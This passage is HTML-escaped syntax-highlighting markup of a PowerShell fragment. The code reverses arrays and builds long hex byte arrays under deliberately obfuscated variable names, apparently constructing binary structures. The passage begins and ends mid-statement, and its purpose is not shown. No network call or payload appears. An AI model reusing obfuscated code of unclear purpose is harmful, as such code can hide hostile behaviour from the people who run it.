        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B888BBB8B8BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                     &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB88BBBB8B88B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B888BBB8B8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8888B88BB888B88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB88B8BB88B88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                                 &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                                            &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                              &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                                      &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                                    &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;07&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                                      &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                             &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                                   &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
